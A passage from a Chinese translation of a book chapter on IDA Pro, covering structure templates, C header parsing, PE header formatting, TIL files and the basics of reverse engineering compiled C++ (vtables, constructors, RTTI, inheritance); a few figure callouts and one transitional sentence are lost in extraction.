   ch8_struct.field2 = 4,
   ch8_struct.field3 = 6,
   ch8_struct.field4 = 8,
   ch8_struct.field5 = 16
};

给定这样的定义,IDA 允许你将操作数中使用的任何常量值重新格式化为等效的符号表示。图 8-7 展示了正在进行此类操作的示例。内存引用[ecx+10h]可能表示对ch8_struct中的field5的访问。

应用结构偏移

图 8-7. 应用结构偏移

在此情况下,通过右键单击 10h 可用的结构偏移选项提供了三种格式化指令操作数的替代方案。这些替代方案来自包含偏移量为 16 的字段的结构的集合。

作为单独格式化内存引用的替代方案,栈和全局变量可以格式化为整个结构体。要将栈变量格式化为结构体,通过双击要格式化为结构体的变量打开详细栈帧视图,然后使用编辑结构变量(alt-Q)显示与图 8-8 中所示类似的已知结构列表。

结构选择对话框

图 8-8. 结构选择对话框

选择一个可用的结构体会将栈中相应数量的字节组合成相应的结构类型,并将所有相关内存引用重新格式化为结构引用。以下代码是我们之前检查的栈分配结构示例的摘录:

.text:00401006                 mov     [ebp+var_18], 10
.text:0040100D                 mov     [ebp+var_14], 20
.text:00401013                 mov     [ebp+var_12], 30
.text:00401017                 mov     [ebp+var_10], 40
.text:0040101E                 fld     ds:dbl_40B128
.text:00401024                 fstp    [ebp+var_8]

回想一下,我们得出结论,var_18实际上是 24 字节结构中的第一个字段。这个特定解释的详细栈帧如图图 8-9 所示。

格式化前的栈分配结构

图 8-9. 格式化前的栈分配结构

选择var_18并将其格式化为ch8_struct(编辑 ▸ 结构变量),将var_18开始的 24 字节(ch8_struct的大小)合并成一个变量,从而得到图 8-10 中所示的重新格式化后的栈显示。在这种情况下,将结构模板应用到var_18将生成一个警告消息,表明在将var_18转换为结构体的过程中将销毁一些变量。根据我们之前的分析,这是可以预料的,所以我们只需确认警告以完成操作。

格式化后的栈分配结构

图 8-10. 格式化后的栈分配结构

重新格式化后,IDA 能够理解任何对分配给var_18的 24 字节块的内存引用都必须指向结构体内部的字段。当 IDA 遇到这样的引用时,它会尽力将内存引用解析为结构变量内定义的字段之一。在这种情况下,反汇编会自动重新格式化以包含结构布局,如下所示:

.text:00401006                 mov     [ebp+var_18.field1], 10
.text:0040100D                 mov     [ebp+var_18.field2], 20
.text:00401013                 mov     [ebp+var_18.field3], 30
.text:00401017                 mov     [ebp+var_18.field4], 40
.text:0040101E                 fld     ds:dbl_40B128
.text:00401024                 fstp    [ebp+var_18.field5]

在反汇编中使用结构符号的优势是提高了反汇编的可读性。在重新格式化后的显示中使用字段名提供了对原始源代码中实际数据操作方式的更准确反映。

格式化全局变量为结构体的过程几乎与用于堆变量的过程相同。为此,选择变量或标记结构体开始的地址,并使用编辑结构变量(alt-Q)来选择适当的结构类型。仅对于未定义的全局数据(不是堆数据)而言,你可以使用 IDA 的上下文相关菜单,并选择结构选项来查看和选择要应用于选定地址的可用结构模板。

导入新结构

在使用了一段时间 IDA 的结构创建和编辑功能后,你可能可能会渴望一种更简单的方法来做事情。幸运的是,IDA 确实提供了一些关于新结构的快捷方式。IDA 能够解析单个 C(不是 C++)数据声明,以及整个 C 头文件,并自动为在那些声明或头文件中定义的任何结构体构建 IDA 结构表示。如果你恰好有你要反汇编的二进制文件的源代码,或者至少有头文件,那么通过让 IDA 直接从源代码中提取相关结构,你可以节省很多时间。

解析 C 结构声明

通过使用视图 ▸ 打开子视图 ▸ 本地类型命令,可以打开一个本地类型子视图窗口。本地类型窗口显示已解析到当前数据库中的所有类型的列表。对于新数据库,本地类型窗口最初为空,但窗口提供了通过插入键或从上下文菜单中选择插入选项来解析新类型的 capability。结果类型条目对话框如图 8-11 所示。

本地类型条目对话框

图 8-11. 本地类型条目对话框

解析新类型时遇到的错误将在 IDA 输出窗口中显示。如果类型声明成功解析,类型及其相关声明将列在本地类型窗口中,如图 8-12 所示。

本地类型窗口

图 8-12. 本地类型窗口

注意,IDA 解析器使用默认的结构成员对齐为 4 字节。如果你的结构需要不同的对齐方式,你可以包含它,并且 IDA 将识别pragma pack指令来指定所需的成员对齐。

添加到本地类型窗口的数据类型不会立即通过结构窗口可用。有两种方法可以将本地类型声明添加到结构窗口。最简单的方法是在所需的本地类型上右键单击并选择同步到 idb。或者,当每个新类型被添加到标准结构列表中时,新类型可以按照使用标准结构中所述的方式导入到结构窗口。

解析 C 头文件

要解析头文件,使用文件加载文件解析 C 头文件来选择你想要解析的头文件。如果一切顺利,IDA 会返回消息:“编译成功”。如果解析器遇到任何问题,你会收到错误通知。任何相关的错误消息都会在 IDA 输出窗口中显示。

IDA 会将所有成功解析的结构添加到当前数据库中本地类型列表和标准结构列表的末尾。当新结构具有与现有结构相同的名称时,现有结构定义将被新结构布局覆盖。除非你选择显式添加,否则新结构不会出现在结构窗口中,正如上述关于本地类型的描述,或在使用标准结构中所述。

在解析 C 头文件时,以下要点值得注意:

  • 内置解析器不一定使用与你的编译器相同的默认结构成员对齐方式,尽管它确实遵守pack指令。默认情况下,解析器创建 4 字节对齐的结构。

  • 解析器理解 C 预处理器include指令。为了解析include指令,解析器会搜索包含正在解析的文件的目录以及选项▸编译器配置对话框中列出的任何Include目录。

  • 解析器只理解 C 标准数据类型。然而,解析器也理解预处理器define指令以及 C 的typedef语句。因此,如果解析器在使用之前遇到了适当的typedef,则uint32_t之类的类型将被正确解析。

  • 当你没有源代码时,你可能发现使用文本编辑器快速定义结构布局并解析生成的头文件或将其声明粘贴为新本地类型,比使用 IDA 繁琐的手动结构定义工具更容易。

  • 新结构仅在当前数据库中可用。你必须为每个你希望使用结构的附加数据库重复结构创建步骤。我们将在本章后面讨论 TIL 文件时讨论简化此过程的某些步骤。

通常,为了最大限度地提高成功解析头文件的机会,您将希望尽可能通过使用标准 C 数据类型和最小化使用include文件来简化结构定义。记住,在 IDA 中创建结构最重要的东西是确保布局正确。正确的布局在很大程度上取决于每个字段的正确大小和结构的正确对齐,而不是每个字段的精确类型。换句话说,如果您需要将所有uint32_t替换为int以正确解析文件,您应该立即这样做。

使用标准结构

如前所述,IDA 识别与各种库和 API 函数相关的大量数据结构。当数据库最初创建时,IDA 会尝试确定与二进制文件相关的编译器和平台,并加载从相关库头文件中派生的结构模板。当 IDA 在反汇编过程中遇到实际的结构操作时,它会将适当的结构定义添加到结构窗口中。因此,结构窗口表示适用于当前二进制文件的已知结构的子集。除了创建自己的自定义结构外,您还可以通过从 IDA 已知结构类型列表中选取,将额外的标准结构添加到结构窗口中。

添加新结构的流程是从结构窗口内部按下插入键开始。图 8-3 展示了创建结构/联合对话框,其中之一是添加标准结构按钮。点击此按钮可以访问与当前编译器(在分析阶段检测到)和文件格式相关的结构主列表。这个结构主列表还包含任何由于解析 C 头文件而添加到数据库中的结构。图 8-13 中显示的结构选择对话框用于选择要添加到结构窗口中的结构。

标准结构选择

图 8-13. 标准结构选择

您可以使用搜索功能根据部分文本匹配来定位结构。对话框还允许前缀匹配。如果您知道结构名称的前几个字符,只需输入它们(它们将出现在对话框底部的状态栏中),列表显示将跳转到第一个具有匹配前缀的结构。选择一个结构会将该结构和任何嵌套结构添加到结构窗口中。

作为使用标准结构的一个例子,考虑这样一个情况:你希望检查与 Windows PE 二进制文件关联的文件头。默认情况下,当数据库首次创建时,文件头不会被加载到数据库中;然而,如果你在初始数据库创建期间选择手动加载选项,文件头可以被加载。加载文件头确保只有与这些头关联的数据字节将存在于数据库中。在大多数情况下,头不会被以任何方式格式化,因为典型的程序不会直接引用它们自己的文件头。因此,分析器没有必要将结构模板应用到头中。

在对 PE 二进制文件的格式进行了研究之后,你会了解到 PE 文件以一个名为IMAGE_DOS_HEADER的 MS-DOS 头结构开始。此外,IMAGE_DOS_HEADER中包含的数据指向IMAGE_NT_HEADERS结构的地址,该结构详细说明了 PE 二进制文件的内存布局。选择加载 PE 头,你可能会看到以下类似的不格式化数据反汇编。熟悉 PE 文件结构的读者可能会认出文件中的前两个字节是 MS-DOS 的魔数MZ

HEADER:00400000 __ImageBase     db  4Dh ; M
HEADER:00400001                 db  5Ah ; Z
HEADER:00400002                 db  90h ; É
HEADER:00400003                 db    0
HEADER:00400004                 db    3
HEADER:00400005                 db    0
HEADER:00400006                 db    0
HEADER:00400007                 db    0
HEADER:00400008                 db    4
HEADER:00400009                 db    0
HEADER:0040000A                 db    0
HEADER:0040000B                 db    0
HEADER:0040000C                 db 0FFh
HEADER:0040000D                 db 0FFh
HEADER:0040000E                 db    0
HEADER:0040000F                 db    0

由于此文件在此处进行了格式化,你需要一些 PE 文件参考文档来帮助你理解每个数据字节。通过使用结构模板,IDA 可以将这些字节格式化为IMAGE_DOS_HEADER,使数据变得更有用。第一步是添加标准的IMAGE_DOS_HEADER,如上所述(你可以在此时添加IMAGE_NT_HEADERS结构)。第二步是将从__ImageBase开始的字节转换为IMAGE_DOS_HEADER结构,使用编辑结构变量(alt-Q)。这会导致以下显示的重新格式化:

HEADER:00400000 __ImageBase IMAGE_DOS_HEADER
 <5A4Dh, 90h, 3, 0, 4, 0, 0FFFFh, 0, 0B8h, \
HEADER:00400000                               0, 0, 0, 40h, 0, 0, 0, 0, 0, 80h>
HEADER:00400040 db 0Eh

如你所见,文件中的前 64(0x40)字节已被折叠成一个单一的数据结构,类型在反汇编中注明。然而,除非你拥有关于这个特定结构的百科全书式知识,否则每个字段的含义可能仍然有些晦涩。然而,我们可以通过扩展结构来进一步进行这个操作。当结构化数据项被展开时,每个字段都会用结构定义中相应的字段名进行标注。可以使用数字键盘上的加号键(+)展开折叠的结构。最终的列表版本如下:

HEADER:00400000 __ImageBase     dw 5A4Dh                ; e_magic
HEADER:00400000                 dw 90h                  ; e_cblp
HEADER:00400000                 dw 3                    ; e_cp
HEADER:00400000                 dw 0                    ; e_crlc
HEADER:00400000                 dw 4                    ; e_cparhdr
HEADER:00400000                 dw 0                    ; e_minalloc
HEADER:00400000                 dw 0FFFFh               ; e_maxalloc
HEADER:00400000                 dw 0                    ; e_ss
HEADER:00400000                 dw 0B8h                 ; e_sp
HEADER:00400000                 dw 0                    ; e_csum
HEADER:00400000                 dw 0                    ; e_ip
HEADER:00400000                 dw 0                    ; e_cs
HEADER:00400000                 dw 40h                  ; e_lfarlc
HEADER:00400000                 dw 0                    ; e_ovno
HEADER:00400000                 dw 4 dup(0)             ; e_res
HEADER:00400000                 dw 0                    ; e_oemid
HEADER:00400000                 dw 0                    ; e_oeminfo
HEADER:00400000                 dw 0Ah dup(0)           ; e_res2
HEADER:00400000                dd 80h                  ; e_lfanew
HEADER:00400040                 db  0Eh

不幸的是,IMAGE_DOS_HEADER的字段并没有特别有意义的名称,因此我们可能需要查阅 PE 文件参考来提醒自己,e_lfanew字段表示可以找到IMAGE_NT_HEADERS结构的文件偏移量。将所有之前的步骤应用到地址00400080(数据库中的 0x80 字节)以创建一个IMAGE_NT_HEADER,可以得到这里部分显示的格式化结构:

HEADER:00400080                 dd 4550h                ; Signature
HEADER:00400080                 dw 14Ch                 ; FileHeader.Machine
HEADER:00400080                
dw 5                    ; FileHeader.NumberOfSections
HEADER:00400080                 dd 4789ADF1h            ; FileHeader.TimeDateStamp
HEADER:00400080                 dd 1400h                ; File
Header.PointerToSymbolTable
HEADER:00400080                 dd 14Eh                 ; FileHeader.NumberOfSymbols
HEADER:00400080                 dw 0E0h                 ; File
Header.SizeOfOptionalHeader
HEADER:00400080                 dw 307h                 ; FileHeader.Characteristics
HEADER:00400080                 dw 10Bh                 ; OptionalHeader.Magic
HEADER:00400080                 db 2                    ; Optional
Header.MajorLinkerVersion
HEADER:00400080                 db 38h                  ; Optional
Header.MinorLinkerVersion
HEADER:00400080                 dd 800h                 ; OptionalHeader.SizeOfCode
HEADER:00400080                 dd 800h                 ; Optional
Header.SizeOfInitializedData
HEADER:00400080                 dd 200h                 ; Optional
Header.SizeOfUninitializedData
HEADER:00400080                 dd 1000h                ; Optional
Header.AddressOfEntryPoint
HEADER:00400080                 dd 1000h                ; OptionalHeader.BaseOfCode
HEADER:00400080                 dd 2000h                ; OptionalHeader.BaseOfData
HEADER:00400080                dd 400000h
              ; OptionalHeader.ImageBase

幸运的是,在这种情况下,字段名称有某种程度的实际意义。我们很快就能看到该文件由五个部分组成 ![http://atomoreilly.com/source/no_starch_images/854061.png] 并且应该加载到虚拟地址 00400000 ![http://atomoreilly.com/source/no_starch_images/854063.png]。使用键盘上的减号键(−)可以将展开的结构返回到折叠状态。

IDA TIL 文件

IDA 中的所有数据类型和函数原型信息都存储在 TIL 文件中。IDA 随带许多主要编译器和 API 的类型库信息,这些信息存储在 /til 目录下。类型窗口(视图 ▸ 打开子视图 ▸ 类型库)列出了当前加载的 .til 文件,并用于加载您可能希望使用的其他 .til 文件。类型库会根据分析阶段发现的二进制文件的属性自动加载。在理想情况下,大多数用户将永远不会需要直接处理 .til 文件。

加载新的 TIL 文件

在某些情况下,IDA 可能无法检测到用于构建二进制文件的具体编译器,这可能是由于二进制文件经历了某种形式的混淆。当这种情况发生时,您可以通过在类型窗口中按插入键并选择所需的 .til 文件来加载额外的 .til 文件。当加载新的 .til 文件时,文件中包含的所有结构定义都将添加到标准结构列表中,并且类型信息将应用于二进制文件中具有匹配原型的任何函数。换句话说,当 IDA 获得有关函数性质的新知识时,它会自动应用这一新知识。

分享 TIL 文件

IDA 还使用 .til 文件来存储您在结构窗口中手动创建或通过解析 C 头文件创建的任何自定义结构定义。这些结构存储在与它们创建的数据库关联的专用 .til 文件中。此文件与数据库的基名相同,并具有 .til 扩展名。对于名为 some_file.idb 的数据库,相关的类型库文件将是 some_file.til。在正常情况下,您将永远不会看到此文件,除非您偶然在 IDA 中打开了数据库。回想一下,.idb 文件实际上是一个存档文件(类似于 .tar 文件),用于在组件未使用时保存数据库的组件。当数据库打开时,组件文件(.til 文件是其中之一)将被提取为 IDA 的工作文件。

关于如何在数据库之间共享.til文件的讨论可以在www.hex-rays.com/forum/viewtopic.php?f=6&t=986找到.^([47]) 提到了两种技术。第一种技术有些非官方,涉及将.til文件从公开数据库复制到您的 IDA til目录中,然后可以在任何其他数据库中通过类型窗口打开它。从数据库中提取自定义类型信息的一种更官方的方法是生成一个 IDC 脚本,该脚本可以用于在任何其他数据库中重新创建自定义结构。可以使用“文件”▸“生成文件”▸“将类型信息导出到 IDC 文件”命令生成此类脚本。然而,与第一种技术不同,这种方法仅导出结构窗口中列出的结构,可能不包括从 C 头文件中解析的所有结构(而.til文件复制技术将包括)。

Hex-Rays 还提供了一个名为tilib的独立工具,用于在 IDA 之外创建.til文件。该实用程序作为.zip文件提供给注册用户,可通过 Hex-Rays IDA 下载页面获取。安装过程简单,只需将.zip文件内容提取到tilib实用程序可以用来列出现有.til文件的内容或通过解析 C(不是 C++)头文件创建新的.til文件。以下命令将列出 Visual Studio 6 类型库的内容:

C:\Program Files\IdaPro>tilib -l til\pc\vc6win.til

创建一个新的.til文件涉及命名要解析的头文件和要创建的.til文件。命令行选项允许您指定额外的包含文件目录,或者,作为替代,之前解析过的.til文件,以便解决头文件中包含的任何依赖。以下命令创建了一个包含ch8_struct声明的新的.til文件。生成的.til文件必须在将其移动到/til之前,IDA 才能使用它。

C:\Program Files\IdaPro>tilib -c -hch8_struct.h ch8.til

tilib实用程序包含大量其他功能,其中一些在tilib发行版中包含的 README 文件中有详细说明,而其他一些则可以通过不带参数运行tilib来简要了解。在版本 6.1 之前,tilib仅作为 Windows 可执行文件分发;然而,它生成的.til文件与 IDA 的所有版本兼容。


^([47]) 此链接仅对注册用户可用。

C++逆向工程入门指南

C++类是 C 结构体的面向对象扩展,因此用编译后的 C++代码的功能来总结我们对数据结构的讨论在逻辑上是合理的。C++的复杂性足够大,以至于对这一主题的详细覆盖超出了本书的范围。在这里,我们试图涵盖这一主题的要点以及微软的 Visual C++和 GNU 的 g++之间的一些差异。

需要记住的一个重要观点是,对 C++语言的扎实、基本理解将极大地帮助您理解编译后的 C++。例如,继承和多态这样的面向对象概念在源级别就已经很难学好。在没有理解源级别的情况下尝试在汇编级别深入这些概念,肯定会是一次令人沮丧的练习。

this 指针

this指针是在所有非静态 C++成员函数中可用的一个指针。每当调用这样的函数时,this都会初始化为指向用于调用该函数的对象。考虑以下函数调用:

//object1, object2, and *p_obj are all the same type.
object1.member_func();
object2.member_func();
p_obj->member_func();

在对member_func的三个调用中,this分别取值为&object1&object2p_obj。最容易将this视为传递给所有非静态成员函数的一个隐藏的第一个参数。如第六章所述,Microsoft Visual C++使用thiscall调用约定,并将this传递到 ECX 寄存器。GNU g++编译器将this处理得就像它是非静态成员函数的第一个(最左边的)参数一样,并在调用函数之前将用于调用函数的对象的地址推送到栈顶。

从逆向工程的角度来看,在函数调用之前将地址移动到 ECX 寄存器可能是两个事物的指示。首先,文件是用 Visual C++编译的。其次,该函数是成员函数。当相同的地址传递给两个或更多函数时,我们可以得出结论,这些函数都属于同一类层次结构。

在函数内部,在初始化 ECX 之前使用 ECX 意味着调用者必须已经初始化了 ECX,并且可能是函数是成员函数的迹象(尽管该函数可能简单地使用fastcall调用约定)。此外,当观察到成员函数将this传递给其他函数时,可以推断出这些函数也是同一类的成员。

对于使用 g++编译的代码,对成员函数的调用不太明显。然而,任何不以指针作为其第一个参数的函数肯定可以排除是成员函数。

虚函数和 vtable

虚函数提供了在 C++程序中实现多态行为的手段。对于每个包含虚函数的类(或通过继承的子类),编译器生成一个包含指向该类中每个虚函数指针的表。这样的表被称为vtables。此外,每个包含虚函数的类都额外有一个数据成员,其目的是在运行时指向适当的 vtable。这个成员通常被称为vtable 指针,并在类内作为第一个数据成员分配。当在运行时创建对象时,其 vtable 指针被设置为指向适当的 vtable。当该对象调用虚函数时,通过在对象的 vtable 中查找来选择正确的函数。因此,vtables 是促进虚函数调用运行时解析的底层机制。

一些例子可能有助于阐明 vtables 的使用。考虑以下 C++类定义:

class BaseClass {
public:
   BaseClass();
   virtual void vfunc1() = 0;
   virtual void vfunc2();
   virtual void vfunc3();
   virtual void vfunc4();
private:
   int x;
   int y;
};

class SubClass : public BaseClass {
public:
   SubClass();
   virtual void vfunc1();
   virtual void vfunc3();
   virtual void vfunc5();
private:
   int z;
};

在这个例子中,SubClass 从 BaseClass 继承。BaseClass 包含四个虚函数,而 SubClass 包含五个(来自 BaseClass 的四个加上新的vfunc5)。在 BaseClass 中,vfunc1由于其声明中使用了= 0而是一个纯虚函数。纯虚函数在其声明类中没有实现,必须在子类中重写,类才被认为是具体的。换句话说,没有名为Base-Class::vfunc1的函数,并且直到子类提供了实现,不能实例化对象。SubClass 提供了这样的实现,因此可以创建 SubClass 对象。

乍一看,BaseClass 似乎包含两个数据成员,而 Sub Class 有三个数据成员。然而,请记住,任何包含虚函数的类,无论是显式包含还是通过继承包含,也包含一个 vtable 指针。因此,实例化的 BaseClass 对象实际上有三个数据成员,而实例化的 SubClass 对象有四个数据成员。在每个情况下,第一个数据成员是 vtable 指针。在 SubClass 中,vtable 指针实际上是继承自 BaseClass,而不是专门为 SubClass 引入的。图 8-14 显示了简化后的内存布局,其中动态分配了一个单个的 SubClass 对象。在对象的创建过程中,编译器确保新对象的 vtable 指针指向正确的 vtable(在这种情况下是 SubClass 的)。

一个简单的 vtable 布局

图 8-14. 一个简单的 vtable 布局

注意,SubClass 的 vtable 包含指向属于 BaseClass 的函数的两个指针(BaseClass::vfunc2BaseClass::vfunc4)。这是因为 SubClass 没有重写这些函数,而是从 BaseClass 继承它们。同时展示了纯虚函数条目的典型处理。由于纯虚函数BaseClass::vfunc1没有实现,因此没有地址可以存储在 BaseClass vtable 槽中的vfunc1。在这种情况下,编译器会插入一个错误处理函数的地址,通常被称为purecall,理论上不应该被调用,但通常在它被意外调用时会终止程序。

vtable 指针的存在的一个后果是,在 ID 中操作类时必须考虑它。回想一下,C++类是 C 结构的扩展。因此,可以选择使用 ID 的结构定义功能来定义 C++类的布局。对于包含虚函数的类,必须记住在类中包含 vtable 指针作为第一个字段。vtable 指针也必须在对象的总大小中考虑。这在使用new^([48])运算符动态分配对象时最为明显,其中传递给new的大小值包括类(以及任何超类)中显式声明的所有字段占用的空间,以及 vtable 指针所需的任何空间。

在以下示例中,动态创建了一个 SubClass 对象,并将其地址保存在一个 BaseClass 指针中。然后将该指针传递给一个函数(call_vfunc),该函数使用该指针调用vfunc3

void call_vfunc(BaseClass *b) {
   b->vfunc3();
}

int main() {
   BaseClass *bc = new SubClass();
   call_vfunc(bc);
}

由于vfunc3是一个虚函数,编译器必须确保在这种情况下调用Sub-Class::vfunc3,因为指针指向一个 Sub-Class 对象。以下call_vfunc的反汇编版本演示了如何解析虚函数调用:

.text:004010A0 call_vfunc      proc near
.text:004010A0
.text:004010A0 b               = dword ptr  8
.text:004010A0
.text:004010A0                 push    ebp
.text:004010A1                 mov     ebp, esp
.text:004010A3                 mov     eax, [ebp+b]
.text:004010A6                mov     edx, [eax]
.text:004010A8                 mov     ecx, [ebp+b]
.text:004010AB                mov     eax, [edx+8]
.text:004010AE                call    eax
.text:004010B0                 pop     ebp
.text:004010B1                 retn
.text:004010B1 call_vfunc      endp

vtable 指针从图片处的结构中读取并保存到 EDX 寄存器中。由于参数b指向一个 SubClass 对象,这将是指向 SubClass vtable 的地址。在图片处,vtable 被索引以将第三个指针(在这种情况下是SubClass::vfunc3的地址)读入 EAX 寄存器。最后,在图片处调用虚函数。

注意,在图片处的 vtable 索引操作看起来非常像结构引用操作。实际上,它们没有区别,可以定义一个结构来表示类的 vtable 布局,然后使用定义的结构使反汇编更易于阅读,如下所示:

00000000 SubClass_vtable struc ; (sizeof=0x14)
00000000 vfunc1          dd ?
00000004 vfunc2          dd ?
00000008 vfunc3          dd ?
0000000C vfunc4          dd ?
00000010 vfunc5          dd ?
00000014 SubClass_vtable ends

这种结构允许将 vtable 引用操作重新格式化为以下形式:

.text:004010AB                 mov     eax, [edx+SubClass_vtable.vfunc3]

对象生命周期

理解对象创建和销毁的机制可以帮助揭示对象层次结构和嵌套对象关系,以及快速识别类的构造函数和析构函数函数。^[[49]

对于全局和静态分配的对象,构造函数在程序启动期间以及在进入main函数之前被调用。栈分配对象的构造函数在其声明的函数中对象进入作用域时被调用。在许多情况下,这将是进入声明的函数时立即发生。然而,当一个对象在块语句中声明时,如果它被进入,其构造函数直到进入该块时才被调用。当程序在程序堆中动态分配对象时,其创建是一个两步过程。在第一步中,new运算符被调用以分配对象的内存。在第二步中,调用构造函数以初始化对象。Microsoft 的 Visual C++与 GNU 的 g++之间一个主要的不同之处在于,Visual C++确保在调用构造函数之前new的结果不是 null。

当构造函数执行时,以下序列的操作发生:

  1. 如果类有一个超类,则调用超类构造函数。

  2. 如果类有任何虚函数,vtable 指针被初始化为指向类的 vtable。请注意,这可能会覆盖在超类中初始化的 vtable 指针,这正是期望的行为。

  3. 如果类有任何自身是对象的数据成员,则调用每个此类数据成员的构造函数。

  4. 最后,执行了代码特定的构造函数。这是代表程序员指定的构造函数的 C++行为的代码。

构造函数不指定返回类型;然而,由 Microsoft Visual C++生成的构造函数实际上在 EAX 寄存器中返回this。无论如何,这是一个 Visual C++实现细节,并不允许 C++程序员访问返回值。

析构函数的调用基本上是相反的顺序。对于全局和静态对象,析构函数在main函数终止后由清理代码调用。栈分配对象的析构函数在对象超出作用域时被调用。堆分配对象的析构函数通过delete运算符在释放分配给对象的内存之前立即调用。

析构函数执行的动作与构造函数执行的动作相似,只是它们按大致相反的顺序执行。

  1. 如果类有任何虚函数,对象的 vtable 指针将恢复为指向相关类的 vtable。如果子类在其创建过程中覆盖了 vtable 指针,则需要这样做。

  2. 程序员指定的析构函数代码执行。

  3. 如果类有任何自身是对象的数据成员,则将执行每个此类成员的析构函数。

  4. 最后,如果对象有一个超类,则会调用超类析构函数。

通过理解何时调用超类构造函数和析构函数,可以沿着调用其相关超类函数的链来追踪一个对象的继承层次结构。关于 vtable 的最后一个观点是它们在程序中的引用方式。只有在类构造函数(s)和析构函数中,才会直接引用类的 vtable。当你定位到一个 vtable 时,可以利用 IDA 的数据交叉引用功能(见第九章所示的对话框选择的,该对话框通过选项 ▸ 改写名称访问。

改写名称显示选项

图 8-15。改写名称显示选项

三个主要选项控制是否将改写名称显示为注释、是否改写名称本身,或者根本不进行改写。将改写名称显示为注释会导致类似以下显示:

.text:00401050 ; protected: __thiscall SubClass::SubClass(void)
  text:00401050 ??0SubClass@@IAE@XZ  proc near
  ...
  .text:004010DC           
call  ??0SubClass@@IAE@XZ  ; SubClass::SubClass(void)

同样,将改写名称显示为名称会导致以下结果:

 .text:00401050 protected: __thiscall SubClass::SubClass(void) proc near
  ...
  .text:004010DC             call    SubClass::SubClass(void)

其中 代表了反汇编函数的第一行,而 代表了对该函数的调用。

使用“假定 GCC v3.x 命名”复选框来区分 g++ 版本 2.9.x 和 g++ 版本 3.x 及以后的混淆方案。在正常情况下,IDA 应该自动检测 g++ 编译的代码中使用的命名约定。设置短名称和设置长名称按钮提供了对解混淆名称格式的精细控制,这些选项在 IDA 的帮助系统中都有文档说明。

因为混淆名称包含了关于每个函数签名的很多信息,它们减少了理解传递给函数的参数数量和类型所需的时间。当在二进制文件中可用混淆名称时,IDA 的解混淆能力可以立即揭示所有混淆名称的函数的参数类型和返回类型。相比之下,对于任何未使用混淆名称的函数,你必须进行耗时的分析,以确定函数的签名,分析函数的输入和输出数据。

运行时类型识别

C++ 提供了运算符,允许在运行时确定(typeid)和检查(dynamic_cast)对象的类型。为了便于这些操作,C++ 编译器必须在程序二进制中嵌入类型信息,并实现程序,以便可以确定多态对象的类型,无论可能解引用的指针类型如何。不幸的是,与名称混淆一样,运行时类型识别(RTTI)是编译器实现细节,而不是语言问题,并且没有标准的方法来让编译器实现 RTTI 功能。

我们将简要地看看 Microsoft Visual C++ 和 GNU g++ 的 RTTI 实现之间的相似之处和不同之处。具体来说,这里提供的唯一细节是关于如何定位 RTTI 信息,以及如何从那里学习与该信息相关的类的名称。希望对 Microsoft 的 RTTI 实现有更详细讨论的读者应参考本章末尾列出的参考文献。特别是,这些参考文献详细说明了如何遍历类的继承层次结构,包括在多重继承中使用时如何追踪该层次结构。

考虑以下简单的程序,它使用了多态性:

class abstract_class {
public:
   virtual int vfunc() = 0;
};

class concrete_class : public abstract_class {
public:
   concrete_class();
   int vfunc();
};

void print_type(abstract_class *p) {
   cout << typeid(*p).name() << endl;
}

int main() {
   abstract_class *sc = new concrete_class();
   print_type(sc);
}

print_type 函数必须正确打印出指针 p 所指向的对象的类型。在这种情况下,根据在 main 函数中创建了一个 concrete_class 对象的事实,可以轻易地意识到应该打印出concrete_class。我们在这里回答的问题是:print_type,更具体地说 typeid,是如何知道 p 指向的对象的类型?

答案出奇地简单。由于每个多态对象都包含一个指向虚函数表的指针,编译器利用这一事实,通过将类类型信息与类虚函数表一起定位。具体来说,编译器将一个指针放置在类虚函数表之前。这个指针指向一个包含用于确定拥有虚函数表的类名称的信息的结构。在 g++代码中,这个指针指向一个type_info结构,它包含指向类名称的指针。在 Visual C++中,这个指针指向一个 Microsoft RTTICompleteObjectLocator结构,它反过来又包含一个指向TypeDescriptor结构的指针。TypeDescriptor结构包含一个字符数组,指定了多态类的名称。

重要的是要认识到,只有在使用typeiddynamic_cast运算符的 C++程序中才需要 RTTI 信息。大多数编译器提供选项来禁用在不需要 RTTI 的二进制文件中生成 RTTI;因此,如果你发现 RTTI 信息缺失,请不要感到惊讶。

继承关系

如果你深入探究一些 RTTI 实现,你会发现解开继承关系是可能的,尽管你必须理解编译器对 RTTI 的特殊实现才能做到这一点。此外,当程序没有使用typeiddynamic_cast运算符时,RTTI 可能不存在。在没有 RTTI 信息的情况下,可以采用哪些技术来确定 C++类之间的继承关系?

确定继承层次结构的最简单方法是观察在创建对象时调用的超类构造函数的调用链。这种技术的最大障碍是内联构造函数的使用,其使用使得无法理解实际上已经调用了超类构造函数。

确定继承关系的另一种方法涉及分析和比较虚函数表。例如,在比较图 8-14 中显示的虚函数表时,我们注意到 SubClass 的虚函数表包含与 BaseClass 虚函数表中出现的两个相同的指针。我们可以很容易地得出结论,BaseClass 和 SubClass 必须在某种程度上相关联,但哪个是基类,哪个是子类?在这种情况下,我们可以单独或组合应用以下指南,以尝试了解它们之间的关系。

  • 当两个虚函数表包含相同数量的条目时,这两个相应的类可能存在继承关系。

  • 当类 X 的虚函数表包含的条目多于类 Y 的虚函数表时,类 X可能是类 Y 的子类。

  • 当类 X 的虚表包含在类 Y 的虚表中也能找到的条目时,以下关系之一必须存在:X 是 Y 的子类,Y 是 X 的子类,或者 X 和 Y 都是共同超类 Z 的子类。

  • 当类 X 的虚表包含在类 Y 的虚表中也能找到的条目,并且类 X 的虚表至少包含一个不在类 Y 的相应虚表条目中出现的purecall条目时,则类 Y 是类 X 的子类。

虽然上述列表远非详尽无遗,但我们可以使用这些指南来推断 BaseClass 和 SubClass 在图 8-14 中的关系。在这种情况下,最后三条规则都适用,但最后一条规则特别引导我们仅根据虚表分析得出结论,即 SubClass 继承自 BaseClass。

C++逆向工程参考资料

关于逆向工程编译后的 C++主题的进一步阅读,请参阅以下优秀参考资料:

虽然这些文章中的许多细节仅适用于使用 Microsoft Visual C++编译的程序,但许多概念同样适用于使用其他 C++编译器编译的程序。


^([48]) 在 C++中,new运算符用于动态内存分配,这与 C 语言中使用malloc的方式类似(尽管new是 C++语言的一部分,而malloc只是一个标准库函数)。

^([49]) 类构造函数是一个在创建对象时自动调用的初始化函数。相应的析构函数是可选的,当对象不再在作用域内或类似情况下会被调用。

^([50]) 在 C++中,函数重载允许程序员为几个函数使用相同的名称。唯一的要求是,每个重载函数的版本必须与每个其他版本在参数类型序列和/或数量上有所不同。换句话说,每个函数原型必须是唯一的。

^([51]) 在 C/C++程序中,被声明为inline的函数会被编译器当作宏处理,函数的代码会在显式函数调用处展开。由于汇编语言调用语句的存在是函数被调用的明显迹象,因此内联函数的使用往往隐藏了函数被使用的事实。

摘要

